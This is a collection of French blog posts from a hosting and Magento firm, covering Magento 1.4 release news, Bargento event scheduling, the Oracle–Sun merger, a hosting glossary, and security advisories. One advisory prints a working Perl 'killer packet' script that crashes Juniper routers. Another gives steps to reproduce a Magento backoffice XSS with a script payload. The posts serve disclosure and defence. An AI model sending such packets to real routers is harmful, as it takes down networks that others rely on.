La 1.4 de Magento CE va sortir, enfin !

Hier j’ai échangé avec Yoav autour de la sortie de la version 1.4 de la C.E. Ca râle et c’est bien normal. Tout le monde retient son souffle, certain se sentent trahis par la EE qui a eu 2 MAJ et 0 pour la CE.

Lors du CAB meeting de décembre, Yoav nous avait promis la 1.4 pour la première semaine de Janvier 2010…

Le truc c’est que je ne sais pas si la date qu’il m’a donné est très officielle ou même si la cause du retard peut être expliquée ici, mais tant pis, je me lance. Un scoop est un scoop et le retard de la CE, les promesses de Varien, et mon statut de CAB m’impose de vous tenir au courant…

3D secure in the core

J’ai donc eu un mail assez concis m’expliquant que le retard est dûe à l’implémentation de 3D secure dans le code de Magento. Ce dispositif très important pour la sécurité des transactions bancaires est une avancée très très significatives dans le domaine des transactions en lignes, sur le E-commerce comme ailleurs. En gros, la transaction va être sécurisé par la demande d’un identifiant supplémentaire, un OTP (one time password), un mot de passe, une date de naissance etc…

Cette avancée est indispensable à l’économie numérique et l’on ne peut que se réjouir que Varien l’intègre à Magento en CE. Retard donc pour cette raison et parce qu’ils ont réorganiser leur production team également.

Alors la date ?

11 février.

Ce n’est pas officiel. C’est une conversation avec Yoav, pas un communiqué de presse. Donc le plus important pour nous tous : elle arrive dans peu de temps et oui, vous pouvez continuer vos devs sur la Beta 1.4 puisque le changement majeur, c’est l’arrivé de 3D secure donc tant que vous ne customisez pas ces points, no problem.

Bargento 4, décalage de la date

Il a été décidé par Gabriel, Koby (Varien en charge de la communauté) et moi même de décaler la date de Bargento 4 au 24 mai 2010 au lieu du 22 mars 2010 initialement prévu. Pourquoi ce changement de date alors ?

EDIT du 09/02/2010 : il n’aura échappé à personne que le 24 mai est le lundi de Pentecôte, aussi nous attendons un retour de Varien pour fixer une 3° nouvelle date, définitive

- Varien préfère enchainer Paris et frankfort plutot que de faire plusieurs allers/retours, ce qui est compréhensible quand, comme Yoav et Roy, on passe 30% de son temps en dehors de son pays sur une année

- La proximité de la date ne permettait pas à certains speakers importants de se déplacer pour donner leurs conférences, nous aurions donc perdu un peu en qualité, ce qui était inenvisageable.

- La salle était à priori trop petite. En tout cas, ce que nous avions pu réserver n’aurait pas tenu les 500 personnes qui semblent annoncer lors de B4, après une visite, l’espace que nous comptions prendre aurait été un peu limité.

- Bargento 4 a attiré des Espagnoles, des italiens, des Anglais, des Ukrainiens et peut être d’autres américains. Roy m’expliquait lors de Bargento 2 que seul l’Allemagne et la France disposait d’une communauté forte et structuré avec des personnes pour organiser des Meet magento ou Bargento et qu’en Angleterre, les US, l’espagne et l’italie, Varien n’avait pas ce type de support. Un groupe linkedin s’est donc monté pour voir si les personnes qui viendrait d’europe pouvait justifier que Bargento change un peu de forme pour les accueillir et cela semble effectivement pertinent.

Pertinent pour les annonceurs, sponsors et personnes disposant d’un stand puisque le savoir faire Français est reconnu et que ces sociétés pourront s’exporter en europe. Pertinent pour les clients finaux et porteurs de projet puisqu’ils pourront trouver des structures à l’étranger proposant d’autres services et d’autres approches. Pertinent enfin puisque cette internationalisation va permettre d’avoir des conférences pointues !

Que les Français ne parlant pas Anglais se rassure, les conférences seront en majorité données en Français et seul 3/4 conférences sur les 12 seront en anglais, seuls les supports seront en Anglais. Chacun pourra parler dans sa langue natale selon les interlocuteurs avec qui il voudra échanger et nous gagnerons tous à cette ouverture européenne.

Forcément, cette nouveauté complexifie un peu notre organisation mais “it’s worth it”.

Voici donc les raisons de ce décalage de Bargento 4 à la date du 24 mai 2010, nous vous communiquerons le lieu dans les meilleurs délais. (soit l’intégralité de l’espace Saint martin sur 3 étages, soit une autre salle plus grande).

EDIT du 09/02/2010 : il n’aura échappé à personne que le 24 mai est le lundi de Pentecôte, aussi nous attendons un retour de Varien pour fixer une 3° nouvelle date, définitive

Vous trouverez l’information directement sur www.bargento.fr dès que nous aurons les mises à jour !

écrit par Philippe Humeau

Résumé des épisodes précédents

- Janvier 2008 : Sun achète Mysql pour 1 Milliard là où Oracle proposait 750 Millions $
- Avril 2009 : Oracle rachète Sun pour plus de 7 milliards …
- Avril 2009 : Tout le monde flippe pour Mysql

La mariée

Sun c’est une société d’ingénierie vénérable qui a été parmi les premières à créer des serveurs. Chez Sun la conception c’est important, l’ingénierie encore plus et on fait tout à la main avec amour. Résultat, souvent précurseur incompris, Sun n’a pas que des réussites à son actif mais quand même de très belles choses, un parc, un savoir faire et des machines de pointes. Ses propres processeurs Ultraparc et Sparc64, ses architectures, ses bus de données, des milliers de brevets.

Sun c’est aussi du logiciel. Solaris et OpenSolaris pour les operating systems (performants et surtout très robustes), Java pour les langages, la suite openoffice pour le bureau. Mine de rien, déjà, ca pèse un peu lourd tout ca.

Et bien sur……. Mysql.

Mysql ne craint rien !

Mysql est la base de données qui a soutenu le développement de l’opensource. La plus répandue et utilisée au monde. Et Oracle, avant tout le métier d’origine… C’est la base de données. Mais…

Larry Ellison a parfois “acheté pour tuer” mais là, il domine complètement le segment de la base de données. De la TPE au très grand compte. Il peut faire migrer les Mysql vers de l’Oracle quand le compte grossit, faire de la pub sur la clientèle de Mysql, bref…

Pourquoi tuer Mysql ? De toute façon, ceux qui l’utilise n’ont pas le budget pour de l’Oracle.

En plus, tuer un soft opensource c’est très dur. En effet, d’autres feront une autre mouture demain et le pari sera perdu. C’est déjà un peu le cas avec MariaDB et Monty mais ca pourrait empirer si Oracle se montre agressif envers Mysql. Au bout de plus de 6 mois, Mysql existe toujours, il est maintenu, rien n’a réellement changé. Mysql est même sur la Home d’Oracle, déclaration sur la page de Mysql dans le site d’Oracle :

“Oracle will continue to develop and enhance MySQL along with Oracle’s other open source database technologies, Oracle Berkeley DB, the leading open source embedded database, and Oracle InnoDB, the most popular transactional storage engine for MySQL.MySQL customers will benefit from Oracle’s world-class support and training services. MySQL developers and partners will find new opportunities as MySQL becomes a certified part of Oracle’s open, complete, and integrated stack of technology—from application to disk.”

Si Elisson ne tient pas sa promesse, il va se mettre à dos le milieu de l’opensource et se faire détester… Pas très malin et Elisson, il est tout sauf idiot.

Conclusion

La raison de la fusion est (presque) expliquée en homepage du site de Sun et sur celui d’Oracle : “Hardware, Software, complete”. Car Oracle, ce n’est pas que la célèbre database, c’est aussi beaucoup d’autres softs critiques (ceux de peoplesoft par exemple) et de services. La chaine d’Elisson est donc maintenant verticale et horizontale, il a renforcé considérablement sa position.

Personnellement je ne m’inquiète pas pour Mysql mais plus pour IBM ou Microsoft. Larry a souvent protéger son pré carré en mettant dehors des concurrents. Là il possède Java, de quoi sérieusement enquiquiner IBM qui a très largement misé dessus et avec Openoffice, il a de quoi concurrencer Micrososft.

Il est hégémonique sur la base de données et en plus, toujours pour en**rd*r IBM, il a du hardware de qualité, du serveur de combat, un OS qui tient la route….. Alors qui c’est qui mange son chapeau ? C’est Steeve Balmer (Microsoft) et Sam Palmisano (IBM) pardi !

Le grand perdant, ce n’est pas Mysql que son statut de base opensource de référence préserve de toute mort subite ou même moyen terme, c’est IBM à mon sens qui va se faire concurrencer énormément par Oracle sur ses marchés de services. Et pour peu que Larry Elisson se fache sur le segment du soft de bureau, Microsoft va reculer sur Office, son chouchou pendant que Google tente de lui tailler les flancs.

Warning : funny things to come !

PS : Merci à Nicolas.T de Toulouse pour l’idée de ce post

écrit par Philippe Humeau \\ tags: ibm microsoft, mysql, oracle, oracle mysql, rachat mysql, sun

Introduction

Le vocabulaire des hébergeurs et infogérants est parfois déroutant.

Finalement est-ce que 42 Mo de cache level 9 valent mieux que deux troupeaux de gnous encadrés par des pingouins ? Well difficile à dire si l’on ne parle pas des mêmes choses. Déjà la notion d’hébergement et d’infogérance fait débat, alors voici une tentative pour clarifier les choses.

Le but de cet article est donc, avant tout, de parler le même langage et de présenter de manière simples des concepts qui ne sont sommes toutes pas si complexes qu’on voudrait bien nous le faire croire.

Bande passante, tuyau et réseau

Bandwidth, bande passante

La bande passante, c’est la capacité du lien qui arrive aux serveurs. Ainsi, quand un infogérant ou un hébergeur vous propose une connexion, il vous parle de bande passante. Certain parlent de la capacité total de transfert sur un mois, par exemple 100 Go, d’autre d’une vitesse en Mb/s ou Mbps (Megabits par seconde). 8 bits = 1 octet (ou byte en anglais) donc 1 Mb/s font une vitesse de transfert de 128 Ko/s, cela peut paraitre ridicule car chez le particulier, les FAI vendent parfois du 5, du 10 ou du 20 Mbits/seconde.

Plus puissant que la bande passante de votre hébergeur ? Non.

Déjà 1 Mbps qui tourne à plein sur 24h, ca représente une capacité de transfert de ~1,4 Go. Deux films. Donc ca n’est pas ridicule comme unité, de surcroit, la bande passante des hébergeurs et infogérants est “symétrique”. On parle donc de bande passante symétrique quand la capacité d’envoi est la même que la capacité de réception.

En l’occurrence, chez vous, Free, Alice, Wanadoo et leurs copains vous propose de la bande passante de, par exemple 10 Mbps en download (téléchargement) et de 1/n de cette valeur en upload (envoie de données), en général 1/8, donc ~150 Ko/s.

Un hébergeur qui vous met à disposition 4 Mbps vous fournit 4 Mbps en réception comme en envoie et devinez quoi, ca ne coute pas du tout le même prix un lien symétrique, c’est nettement plus cher car c’est la bande passante dite “montante”, celle en envoie, qui coûte cher.

L’un des soucis sur ce point c’est que les offres présentent tantôt du trafic mensuel et tantôt de la bande passante dédiée. Si je vends 4 Mb/s de bande passante, ca fait un peu ridicule comparés au 500 Go/mois que me propose mon concurrent… Et pourant…

4 Mb/s * 3600 (pour le débit horaire) * 24 (pour le débit jour) * 30 (pour le débit mois) / 8 (pour avoir des Méga octets) = 1 296 000 Mo / mois soit ~1,3 To.

Ooops (Oook pour les initiés) une offre à 4 Mb/s est largement plus intéressante qu’une offre à 500 Go /mois et de loin !

Ratio de contention

Le ratio de contention est un indice permettant de savoir avec combien de personne on partage une bande passante donnée. Typiquement, ce ratio est peu utilisé en France (qui dispose d’excellentes infrastructures télécom dans l’ensemble) mais très présente en Angleterre ou aux US. Dans certain contextes comme l’usage d’une connexion satellitaire c’est une limitation indispensable.

L’idée c’est qu’avec un ratio de contention de 20:1 (lire 20 pour 1) on a 1 Mbps (un mégabit par seconde) de vendu à 50 personnes. Comme elles ne l’utilisent pas toute en même temps, l’opérateur prend (et vend) le risque statistique qu’en moyenne, tout le monde ne l’utilise pas en même temps. Le pire cas serait que les 50 personnes aient toutes besoin en même temps du même mégabit de bande passante mais cela n’arrive en pratique jamais.

Ceci étant, on est donc pas garantie de la capacité maximale de son tuyau de connexion, généralement montant puisque la contention s’applique la plupart du temps sur le sens de l’envoi de donnée et rarement sur celui de réception de données.

C’est à ne pas confondre avec une autre notion qu’est l’ADSL vs SDSL. L’Asymetric Digital Suscriber Line contient, par défaut, une notre d’asymétrie dans les débits, généralement de 1 pour 8. On peut télécharger huit fois plus vite que l’on ne peut envoyer des données. Les Symetric Digital Suscriber Line sont elles totalement symétrique en termes de débits, fournissant ainsi la même capacité d’envoi que de réception de données.

Les deux systèmes ont été conçus pour “épargner” la bande passante montante (l’envoi de donnée) à l’époque ou cette ressource était coûteuse, mais ne relève pas exactement des mêmes mécanismes.

95 percentiles

Le percentile est une notion qui s’applique à la bande passante. En effet, les opérateurs ont remarqué que les tuyaux Internet étaient chargés de manière non linéaire. De plus, la capacité des liens augmentant, pourquoi ne pas mettre à disposition la bande passante inutilisée, dans une certaine mesure.

Le 95 percentiles c’est cela. C’est proposer à un client de dépasser son quota, par exemple de 4 Mbps jusqu’à concourrance de la taille maximum de la connexion, par exemple 100 Mbps. Tant que le client ne dépasse pas 95% du temps, les 5% de dépassement, peut importe le dépassement, ne sont pas facturés. Par contre si il dépasse 5,1% du temps, la totalité du dépassement lui est facturé, généralement à un coût légèrement supérieur. J’ai 4 Mbps, je dépasse à 40 Mbps pendant 30 heures dans le mois, je reviens en dessous par la suite, je ne suis facturé que de 4 Mbps. J’ai 4 Mbps, je dépasse à 80 Mbps plus de 5% du temps, ca fait au final, de manière lissée, une consommation moyenne de 7 Mbps, je paye les 4 de base plus 3 en tarif “dépassement”.

Peering

Le peering est un autre point différenciant entre les différents opérateurs et FAI. Le peering c’est la carte des accords interopérateurs en fait. Si j’ai une connexion directe avec Free et une autre avec Orange, mes clients passant par Free ou Orange iront plus vite au but que s’ils doivent passer par un autre (ou plusieurs autres) tiers avant de me joindre. Avoir de bons accords de peering augmente donc l’efficacité de la rapidité des liens.

Avoir de nombreux accords peering avec plusieurs autres opérateurs permet donc d’avoir un échange de paquets plus rapide entre les parties.

Transist

Le Transit IP c’est un terme qui décrit le fait d’avoir une connexion vers l’extérieur. En fait dans un datacenter on peut avoir besoin de relier ses serveurs entres eux et très peu vers Internet ou l’inverse. Le Transit c’est donc la capacité de communication entre le point d’hébergement et Internet. On parle de Transit IP, Transit Internet, Tansit de 20 Mb/s etc… C’est donc la bande passante vers Internet en résumé même si le terme est parfois utilisé pour parler d’un transit d’un point à un autre.

Commit

Le commit c’est l’engagement prit entre un hébergeur et un opérateur.

Avoir un Commit de 50 Mb/s vous donnera accès à une tarification A et avoir un commit de 200 Mb/s un tarif B. Le commit c’est la réservation du tuyau qui vous est faite en réalité, la taille que l’opérateur vous doit. D’ailleurs to commit en Anglais veut dire s’engager.

QoS

Quality of Service.  C’est un terme au sens double puisque l’on peut parler de qualité d’un service ou du principe technique de qualité de service, ce qui est différent. La plupart du temps, quand l’acronyme QoS est utilisé, cela réfère au principe technique.

La QoS permet de régler des valeurs spécifiques dans certains des champs dans paquets qui sont envoyés sur le réseau pour privilégier un comportement ou un autre. Il faut que les éléments actifs (routeurs, siwtchs etc…) sur le chemin accepte de prendre en compte le champ de QoS et sache quoi en faire mais dans le principe les opérateurs utilise la QoS à bon escient.

Les valeurs de QoS peuvent par exemple être : “achemine le plus vite possible”, “achemine avec la latence minimum le premier paquet”, “ne fragmente pas les paquets” ou même d’ordre interne “premier arrivé premier servit”, “fair queuing” etc…

Ces mécanismes sont utilisés pour optimiser les routes et le trafic en fonction de sa sensibilité ou de ses besoins. (Par exemple une conversation VOIP supporte mal la latence mais à besoin de peu de débit).

Routeur/routage/BGP

Le Routage consiste à attribuer un chemin de parcours, une route, à une connexion. Les paquets à destination de telle machine ou réseau passe par un lien, ceux à destination d’un autre endroit par un autre. Le routeur est l’élément qui fait ces arbitrages et oriente les paquets.

Le BGP est un protocol (Border Gateway Protocol) qui permet l’échange de route entre les routeurs, notamment répandu sur Internet chez les opérateurs et entre les routeurs AS. Ce protocole sert aux grands routeurs (AS) à s’échanger des routages de réseaux entiers.

Shaping

Le Shaping c’est littéralement « mettre en forme » le trafic réseau. Il peut s’agir de le limiter la capacité maximale de transfert ou de donner une priorité à un flux ou une machine plutôt qu’à une autre.

On parle souvent de Trafic Shaping, le trafic shaper étant la machine en charge de réaliser cette organisation du trafic. Par extension, les QoS sont souvent appliquée par un shaper.

Load Balancer

Le load balancer est une machine, un serveur ou un boitier, capable de répartir le flux entrant et/ou sortant sur plusieurs liens ou plusieurs machines. C’est un lui qui va, par exemple si vous avez deux serveurs web frontaux, envoyer le premier client sur le premier serveur, le second sur le deuxième, le troisième sur le premier, le quatrième sur le deux etc… C’est du load balancing (balancement de la charge) entre serveurs.

Il existe bien sûr des algorithmes plus évolués pour faire cela et certains Load Balancer (charge parfois assumé par le Rproxy quand il s’agit de load balancing de serveurs) font des tests de charge pour connaitre le taux d’occupation des machines avant de confier la gestion d’un nouvel arrivant à un serveur ou un autre.

Le load balancer peut aussi être spécifiquement dédié aux liaisons, on parle alors de load balancing de connexions et non de serveurs. Il s’agit là d’utiliser deux ou plus connexions au mieux en fonction de leur charge actuelle et de leur disponibilité.

Hébergement, maintenance, architecture & support

Housing

L’Housing consiste, en général, à fournir uniquement l’espace, l’énergie et la climatisation au serveur.

Hosting / hébergement

L’hosting / hébergement consiste, en général, à fournir la même chose plus le serveur et la bande passante ainsi qu’un système de support et un panneau de contrôle basique.

Infogérance / Managed server : L’infogérance consiste à fournir, en plus de l’hébergement, un support niveau 1, un SN2 et un SN3 ainsi que du service autour de l’offre de base. Par exemple l’installation et l’entretient des serveurs, leur backup, la sécurité, le conseil, l’optimisation etc… La grande différence par rapport à l’hébergement est donc la valeur ajoutée humaine, le travail des spécialistes.

Cloud computing / Elastic Computing

Le Cloud computing a été classé par le groupe Gartner comme l’une des révolutions annoncées de cette décennie. Il consiste à exploiter un très grand nombre de ressources informatiques en les allouant à la volée en fonction de la demande. Par exemple Amazon, pour les besoins de son propre site, avait un système très important. Très vite compter en serveurs n’avait plus de sens et il fallait inventer des unités logiques et physiques, multipliables à l’infini et allouable au besoin, ainsi est né le Cloud Computing.

C’est, en résumé, une forme de “super cluster”. On ajoute parfois le terme Elastic ou élastique pour définir la capacité à augmenter ou réduire le nombre d’unités allouées en fonction du besoin réel. On parle alors d’Elastic Computing ou Elastic Cloud Computing. Cette forme de “super mutualisation” permet donc une rationalisation des usages, des méthodes et des dépenses.

SN 1 / SN 2 / SN 3, 24×7 / S.L.A

Le support des serveurs et applications nécessite différents niveaux de compétence. D’une manière générale, le Niveau 1 correspond à l’accueil de toutes les demandes pour orienter par la suite (escalader) vers le niveau supérieur si une réponse ne peut être apportée directement par le SN1 (Support Niveau 1). Le SN1 répond aux problèmes simples ou plus généralement aux FAQ, il doit résoudre ~70% des demandes.

Si ce SN1 ne peut venir à bout d’un souci client, il l’escalade au SN2. Les ingénieurs du SN2 vont étudier le problème plus en détail et faire les tests complémentaires pour apporter une solution au SN1 qui la répercutera au client.

Le SN3, quand il existe, se bat avec les problèmes les plus épineux. Problème de compatibilité entre un soft et un hardware, bug d’un firmware, sous optimisation d’un noyau etc… Normalement, ils n’ont pas de demandes mais quand ils en ont une, ca peut prendre quelques semaines car à ce stade, c’est de la R&D.

Le 24×7 correspond au fait de mener une action ou superviser 24 heures sur 24, 7 jours sur 7. Il faut faire attention à ce que cache cet acronyme car toutes les sociétés y glisse une couverture différente. De la simple supervision (nos sondes surveillent vos serveurs en continue et vous alerte en cas de soucis) au support offshoré (vous tombez au Maroc où quelqu’un qui ne vous connait pas répondra mais ne trouvera pas de solution) jusqu’à la prise en charge global par vos contacts habituels.

Le fait de tout faire, de jour comme de nuit, toute l’année, s’appel de l’astreinte. Cela consiste à faire tourner son staff par semaine ou par jour, pour qu’en permanence quelqu’un ait un téléphone auquel le support soit joignable. En résumer, ca plante, on se lève la nuit, on allume son PC et on regarde le souci. Là encore, il faut faire attention, toutes les entreprises ne prennent pas en charge sans surcout. Souvent vous payez donc le fait que l’ingénieur soit à disposition mais si vous lui demandez quelque chose, il vous facture en supplément, heureusement, ce n’est pas le cas partout.

Le S.L.A, c’est l’engagement de votre fournisseur de service vis-à-vis de vous. Combien de temps de coupure au maximum est il envisageable d’avoir, quel doit être la disponibilité moyenne de la plateforme, selon le type de pannes, en combien de temps il s’engage à vous remettre sur pied. S.L.A est un acronyme anglais qui veut dire Service Level Agreement, l’engagement sur le niveau de service.

MRTG/ Cacti / Oreon / Centreon / Mantis / OTRS

Tous ces outils sont la panoplie classique d’administration des TT (Trouble Ticket, ticket de support) et de supervision de l’activité. Les outils cités sont Opensource et concerne donc majoritairement le monde Linux. Il existe bien évidemment des outils payants et des outils pour Windows. Mantis s’occupe en général des tickets de la partie software (bugs) et OTRS des tickets d’hébergement.

Centréon et Oréon sont des consoles de supervision de l’activité du réseau et des serveurs. Ils permettent d’effectuer des tests de base (icmp) mais également des tests par scripts, plus évolués et se connecter à des services de type SNMP.

MRTG est généralement utiliser pour générer des graphiques et Cacti également présente une console assez agréable à lire.

SAAS / IAAS

S.A.A.S veut dire Software As A Service, IAAS, infrastructure as a service et bien sur, tout le principe du As A Service se développe et s’exporte à un peu tout et n’importe quoi. C’est devenu très marketing tout cela alors on obtient des CAAS (Cloud), et mon radiateur est un CAAS aussi (Chauffage As A service).

Bref, au-delà de la blague, l’idée de fond est d’externaliser le service et de le dimensionner à la volée en fonction du besoin du client.

Services / Démon / Daemon / Serveurs / fonctions

Un service, démon ou daemon est, en infogérance, un programme qui accueil des connexions clientes pour rendre un service. Par exemple, Apache et Mysql sont des services qui tournent sous forme de daemons (démons). PHP lui ne l’est pas car il est appelé au besoin et ne reste pas de manière permanente en mémoire (c’est rare en tout cas et souvent pas forcément bon signe).

Ces services/daemon/démons ont une ou plusieurs fonctions bien précises, par exemple apache sert des pages Web. Ces services tournent sur des serveurs (physiques).

Dns, registrar, Bind

Le DNS signifie Domain Name Service. Le principe c’est que ce service permet de donner une IP à partir d’un nom et un nom à partir d’une IP (l’autre sens). Quand une même IP à plusieurs sites, sur le serveur, ceci se caractérise par une gestion en VHOSTS, tous les noms de domaines arrivent sur la même machine et la même IP mais le contenu de la requête permet au service Web (Apache par exemple) de savoir vers quel contenu (le répertoire) rediriger le visiteur.

Bind, aussi appelé Named parfois, est le service le plus célèbre sous Unix pour gérer les associations nom/ip et réciproquement (reverse DNS).

Le Registrar est lui habiliter à enregistrer des noms de domaines auprès des autorités locales (Afnic pour le .fr par exemple) ou internationales (internic par exemple). Il enregistre donc les données pour le compte de l’utilisateur final. Gandi, OVH et de très nombreux autres s’occupent de ces services.

Rproxy / Squid/ Varnish / CDN / serveur de médias

Un Rproxy fait l’inverse d’un proxy. Au lieu de mettre en cache les requêtes sortantes des utilisateurs vers les serveurs distants, il met en cache les requêtes entrantes des utilisateurs vers les serveurs. En gros au lieu d’être à la sortie du réseau local des utilisateurs, il est en entrée des serveurs que ces utilisateurs contact.

Ces Reverse proxy se chargent de mettre en cache les éléments statiques (images, vidéos, css, ajax, html etc…) afin de ne pas solliciter les serveurs Web pour le faire. Quand la requête arrive, les pages dynamiques sont traitées par les serveurs Web, le reste vient souvent des Rproxy.

Les plus célèbres sont Apache (encore lui), Squid et Varnish. Les trois présentent des caractéristiques différentes mais peuvent remplir peu ou prou la même fonction.

Un CDN (Content Distribution Network) permet de faire la même chose qu’un Rproxy mais à une plus grande échelle car, en général, le contenu est délivré depuis un serveur géographiquement proche de vous. Si un fichier est posé sur un CDN (Akamaï par exemple), il sera servit depuis un serveur à Tokyo pour un Japonais et un serveur à Londres pour un Parisien. Ceci optimise les temps de transfert.

Un serveur de média permet de stocker tout cela sur un serveur dédié, le serveur Web est donc déchargé et le Reverse proxy également.

Nginx / Apache / Zeux / Lighttpd

Les 4 services pré cités sont des serveurs Web. Ils ont tous des performances différentes, des intérêts différents. Apache est le grand père de tous les services Web, il est complet, couvre tous les besoins mais a parfois une tendance à la boulimie de ressources.

Nginx est l’alternative qui monte en termes de performances, il est moins complet mais gère mieux les ressources. Zeus est un serveur Web payant qui affiche des performances très haut de gamme.

Lighttpd et tinyhttpd et leur centaine de copains sont des services Web simplissime et ultra légers, fait pour rendre un service minimal mais avec une consommation de ressources ultra légère.

Terminal / Accès shell / SSH

Les accès en terminal, aussi appelé Shell, sont fait, la plupart du temps, par SSH. SSH fonction à peu prêt comme l’ancien Telnet mais en crypté et il permet en plus de transférer des fichiers.

Cet accès peut avoir plusieurs niveaux, utilisateurs et administrateurs par exemple. Avoir un accès Shell donne accès aux outils d’administration Unix qui sont très puissants et permettent de gagner du temps, quelques posts ont été fait sur ce blog à ce sujet, notamment ici.

Uptime

L’uptime est le temps depuis lequel le serveur tourne sans avoir été éteint ou redémarré. Avoir un uptime élevé signifie que la machine est stable et bien entretenue et que les administrateurs savent s’en occuper sans la redémarrer. Selon les serveurs et leur usage, un reboot peut aussi être nécessaire, par exempe pour mettre à jour un Firmware ou un noyau.

Un de nos serveurs à NBS System, le mailer, à un uptime de 1096 jours, soit 3 ans ce jour !

écrit par Philippe Humeau \\ tags: dictionnaire, hébergement, infogérance, lexique, vocabulaire

Tandis que nous nous attelons avec Gabriel et nos soutiens habitués (François Ziserman, Capitaine Commerce, Didier, Varien etc…) à l’organisation de Bargento 4, nous venons de recevoir la vidéo du 3.

Voici donc une rapide compilation de ce que fut Bargento 3, c’est incomplet car on ne peut saisir la “texture”  ou l’ambiance mais c’est suffisamment représentatif pour ceux qui ne sont jamais venus à un Bargento.

La salle de Bargento 4 sera bientôt arrêté et nous pourrons alors lancer les dossiers de sponsoring ainsi que les enregistrement de places, en attendant, bonne visualisation de cette vidéo et à très bientôt :

écrit par Philippe Humeau

Bonjour à toutes & à tous,

Bon, normalement, on parle essentiellement Magento et hébergement ici. Il se trouve que ma société est aussi un acteur de longue date dans le monde de la sécurité informatique et donc forcément, ca nous passionne aussi (en plus ca fait partit de l’infogérance).

Donc après les failles XSS de Magento, qui semble t’il seraient aussi présente dans d’autres endroits du code après quelques tests,  une nouvelle qui risque de pas mal mettre la zone dans le routage internet ces prochains jours : Déni de service sur les Juniper…

Alors Juniper pour les personnes à qui ca ne cause pas, c’est une marque d’éléments actifs, notamment de routeurs, grand concurrent de Cisco. Ils font donc des routeurs à l’excellente réputation, mais là, ils ont dû rater un étage en codant la stack IP du routeur. Bref, en partant d’un BSD bien propre sur lui, on se retrouve pourtant avec le moyen de faire un “killer packet” :

$ cat junos-crash.pl
#!/usr/bin/perl

my $host =      shift;
my $port =      shift;

use             Net::Packet qw($Env);

use             Net::Packet::IPv4;
my $ip =        Net::Packet::IPv4->new(dst => $host);

use             Net::Packet::TCP;

my $tcp =       Net::Packet::TCP->new(
dst         => $port,
options     =>  "\x65\x02\x01\x01",
);

use             Net::Packet::Frame;
my $frame =     Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);

$frame->send;

L’article original par son auteur se trouve ici et on trouve aussi des détails ici.

Comme me le disait Émile ce matin (le bosse de l’exploitation chez nous) : “ca sent la chasse aux pigeons”. En traduction littérale, vu le type de réseaux qu’équipe Juniper, il n’est pas impossible que quelques routeurs prennent des paquets evil dans les dents, juste histoire de les mettre à genoux.

Le paquet en question, rien qu’en réglant des champs d’options dans le header TCP, permet de faire rebooter le routeur à distance à peine 10 secondes après réception du paquet, sur un kernel panic en plus.

D’un autre coté, les routeurs réellement sensibles traitent du BGP et ne sont visibles en IP que pour les admins, ce qui devrait rendre difficile l’envoie de ce genre de paquets. A voir donc, mais il n’est pas exclu que ces gentils petits “killer packet” fassent parler d’eux.

D’autres questions subsistent à ce stade très en amont de la recherche sur cette faille : toutes les versions sont elles touchées, est-ce reproductible ou l’environnement nécessite t’il d’être dans un état très particulier ? Les FreeBSD vont ils hériter de la même vulnérabilité ? Bref, à peine 24h après la first disclosure, il n’est pas impossible que ca aille plus loin, très loin même, tout comme cette faille peut faire un beau “pschhhhit” et ne jamais impacter Internet. W8&C.

Mise à jour 11/01/2010 à 15h42 : La faille a été lancée plusieurs fois contre des Juniper de tests par mes amis et/ou collègues et … ca marche, très bien même. En fait il y a même le routeur d’un ami qui ne s’en est pas remis (pas rebooté). Ça sent la très méchante faille générique sur Juniper et l’impact pourrait être très costaud sur Internet et le routage global. N’hésitez pas à ajouter vos tests complémentaires ou points de vus en commentaires.

Mise à jour 11/01/2010 à 16h51 : bon ben comme ca c’est clair, votre routeur est, par essence vulnérable, http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/
Donc, il faut appliquer la  BCP38 sinon c’est la mort assuré de votre routeur s’il est visible d’Internet. La Best Common Practice 38 c’est : “filter at the edge”, réduire au minimum requis les IP autorisées à accéder au routeur.

Mise à jour 12/01/2010 à 10h10 : Allez, visiblement, janvier ca va être la fête des poneys ! http://it.slashdot.org/story/10/01/11/1640232/Firm-To-Release-Database-Web-Server-0-Days?art_pos=11

Ça aussi ca promet un beau gros cauchemar de mise à jour puisque Mysql serait potentiellement victime d’un overflow (ou plusieurs). Encore une fois ca dépendra de la façon dont c’est exploitable mais dans le principe ca pourrait être dangereux.

écrit par Philippe Humeau \\ tags: faille Juniper, faille routeur, killer paquet

Bonne année, meilleurs vœux

Que la fortune se jette sur vous par surprise, que les anges du E-commerce bénissent le berceau de votre nouveau site web, que les trompettes de la gloire chante leur mélodieuse mélopée dans le creux de vos oreilles. Bref tout le meilleur à vous, à tous, que 2010 soit une année joyeuse !

Pour se chauffer en ce début d’année, une petite faille dans Magento ca vous dit ?

Le vieux démon est de retour chez Varien, le XSS

Je ne redécrirai pas cette classe de vulnérabilité car ce post précédent était assez détaillé sur le sujet et la littérature ne manque pas.

Magento, vu l’impressionnante quantité de code qu’il contient, est relativement bien géré sur ce plan, mais… L’usage de Zend et les bonnes pratiques mises en place par Yoav et Michael ne sont pas toujours suffisantes. Un moment d’égarement, un vieux bout de code jamais audité, personne n’est à l’abri.

La vulnérabilité du jour

En fait, elle est relativement mineure en terme de possibilités car il faut déjà être un utilisateur authentifié pour pouvoir l’exploiter. Ceci étant, une fois loggé dans le backoffice, peut mener des actions assez dangereuses en terme de Cross Site Scripting.

Les versions touchées de manière certaines sont les 1.3.2.xx en community edition, peut être que d’autres sont aussi vulnérables.

Le paramètre “product_name” n’est pas correctement nettoyé, “sanitized” en anglais. Cette procédure consiste à vérifier que la variable passée ne contient pas de “*’%$ et autres caractère spéciaux permettant de passer du Javascript.

Idem pour les variables : Product SKU, Product description, customer group name, category name, attribute set, sitemap path, customer tax class, product tax class, taxe rate id qui ne sont pas non plus nettoyées correctement.

Post original de la faille

Savoir si l’on est vulnérable à cette XSS

1. Allez dans le backoffice
2. Cliquez dans catalogue
3. Mettre les réglages par défaut et cliquer sur continuer
4. Entrez “<script>Alert(’Cross Site Scripting’);</script>
5. Entrez des données au hasard dans les autres champs et cliquez sur ‘Save’
6. Cliquez sur Ventes->Commandes et “créer une nouvelle commande”
7. Choisissez un client
8. Cliquez sur “Ajouter un produit”
9. Sélectionnez le produit nouvellement créé et ajouter le produit à la commande
10. Et hop, une faille XSS !

Une méthode complète de tests ?

Bien évidemment, pour éviter cela, une analyse statique et/ou dynamique du code source produit après un commit SVN serait pertinent chez Varien. Évidemment, si c’est le cas chez Varien, c’est aussi vrai pour les web agency qui surcharge les classes du framework ou ne code pas toujours dans les normes.

Comment se protéger correctement ?

